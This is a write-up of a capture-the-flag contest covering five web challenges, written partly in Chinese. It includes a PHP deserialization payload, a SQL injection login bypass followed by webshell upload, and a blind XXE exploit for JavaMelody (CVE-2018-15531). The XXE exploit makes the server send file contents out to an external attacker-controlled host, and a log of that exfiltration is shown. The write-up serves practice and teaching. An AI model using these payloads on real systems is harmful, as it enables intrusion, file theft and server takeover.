SUSCTF 2nd Web Wrtie Up
SUSCTF 2nd Web Wrtie Up
Web1 judge 100pt
just do it!
http://211.65.197.117:15000
Payload:
import reimport timeimport requests
url = 'http://211.65.197.117:15000/'r = requests.session()for i in range(20): text = r.get(url).text calc = str(re.findall("\n<div>(.*?)=", text))[2:-2].replace(' ', '') res = str(re.findall("=(.*?)</div>", text))[2:-2] res = int(res) ans = eval(calc) if ans == res: data = {'answer': "true"} elif ans != res: data = {'answer': "false"} time.sleep(1) last = r.post(url, data) print(last.text) '''SUSCTF{python_1s_th3_be3t_l4ngu4ge}'''Web2 phpStorm 100pt
好的编辑器开发真的很快！！http://sus.njnet6.edu.cn:11002
由 phpStorm猜测 .idea文件泄露，下载 workspace.xml分析文件路径，访问 Thi5_tru3_qu3sti0n.php（依照引导使用BurpSuite`抓包修改Head头X-Forward-For为127.0.0.1、User-Agent为SUS进行绕过）获取到php代码如下：
<?php/** * Created by PhpStorm. * User: y4ngyy * Date: 19-3-19 * Time: 下午2:40 */class foo { public $filename; function printContent() { $content = file_get_contents($this->filename); echo $content; }}if ($_SERVER['HTTP_X_FORWARDED_FOR'] != '127.0.0.1') { echo 'Only Localhost can see'; die();} else if ($_SERVER['HTTP_USER_AGENT'] != 'SUS') { echo 'Browser is not SUS<br>'; echo 'Please use SUS browser!'; die();}show_source(__FILE__);
$a = null;if (isset($_POST['foo'])) { $a = unserialize($_POST['foo']); if (!is_object($a)||get_class($a) != 'foo') { $a = new foo(); $a->filename = "text.txt"; }
} else { $a = new foo(); $a->filename = "text.txt";}$a->printContent();Hello, CTFer!?>简单的PHP反序列化，Payload:
<?phpclass foo { public $filename; function printContent() { $content = file_get_contents($this->filename); echo $content; }}
$a = new foo();$a->filename = "flag.php";echo serialize($a);
//O:3:"foo":1:{s:8:"filename";s:8:"flag.php";}//escape()->O%3A3%3A%22foo%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D提交 foo后查看网页源代码，发现如下内容：
//view-source:http://sus.njnet6.edu.cn:11002/Thi5_tru3_qu3sti0n.php<?php/** * Created by PhpStorm. * User: y4ngyy * Date: 19-3-19 * Time: 下午2:38 *///SUSCTF{PHPSTORM_1s_pR3tty_useFul};?>Web3 infoGate 300pt
信息门户？？http://sus.njnet6.edu.cn:11001
username=admin' or '1'='1& password=1即可以 admin的身份登录，进入 edit.php写入shell~
访问 /Uploads/webshell.php得到：SUSCTf{infoGatePr3ttyeasyT0GETSHELL}.
Web4 Melody 300pt
所以这题为什么叫这个名字？http://211.65.197.117:23333
JavaMelody是一个用来对Java应用进行监控的组件。通过该组件，用户可以对内存、CPU、用户session甚至SQL请求等进行监控，并且该组件提供了一个可视化界面给用户使用。
访问 /monitoring可以验证是否加载成功插件：
系 javaMelody XXE(CVE-2018-15531) ，参见复现分析JavaMelody 组件 XXE 漏洞解析. Payload:
//http://211.65.197.117:23333/POST / HTTP/1.1Host: 211.65.197.117:23333Content-type: text/xmlSOAPAction: aaaaaContent-Length: 154
<?xml version="1.0" encoding="UTF-8" standalone="no" ?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://your_vps_adress:port/ev.dtd">%remote;]></root>这里直接响应是没有回显的，为了完成盲打(Blind XXE)读取文件的功能，服务器部署文件 ev.dtd：
//ev.dtd<!ENTITY % payload SYSTEM "file:///flag"><!ENTITY % int "<!ENTITY % trick SYSTEM 'http://your_vps_adress:port/%payload;'>">%int;%trick;捕获记录：
211.65.197.117 - - [13/Apr/2019:15:53:02 +0800] "GET /SUSCTF{M3l0dy_CV3_XX3} HTTP/1.1" 404 162 "-" "Java/1.8.0_201"Web5 重定向之旅 300pt
使用谷歌内核浏览器食用效果更佳。 http://sus.njnet6.edu.cn:65533
- Part1 查看源代码获取注释代码
//url:http://sus.njnet6.edu.cn:65533/index-ein.html//hint：源代码的秘密<meta http-equiv="refresh" content="6;url=index-dos.php"><!--<?php $part1="3oI";?>-->- Part2 在HTTP请求报文头里捕获
网页很快重定向跳转,这里我们可以用BurpSuite抓包查看响应包内容。
//http://sus.njnet6.edu.cn:65533/index-dos.php//hint: HEAD 你摸得到头脑吗？$part2: rEdirEct- Part3 解AAencode JS加密
//http://sus.njnet6.edu.cn:65533/index-trois.aspx//http://sus.njnet6.edu.cn:65533/index-ne.js//JS AAencode 解密如下leave=function (){console.log("$part3:4fun");location.href='flag.php';location.href='no_flag.html';}- 访问flag.php
//http://sus.njnet6.edu.cn:65533/flag.phpSUSCTF{__}<?phperror_reporting(0);echo "SUSCTF{".$part1."_".$part2."_".$part3."}";echo "<br>";show_source(__FILE__);?>拼接flag得到SUSCTF{3oIrEdirEct4fun}.
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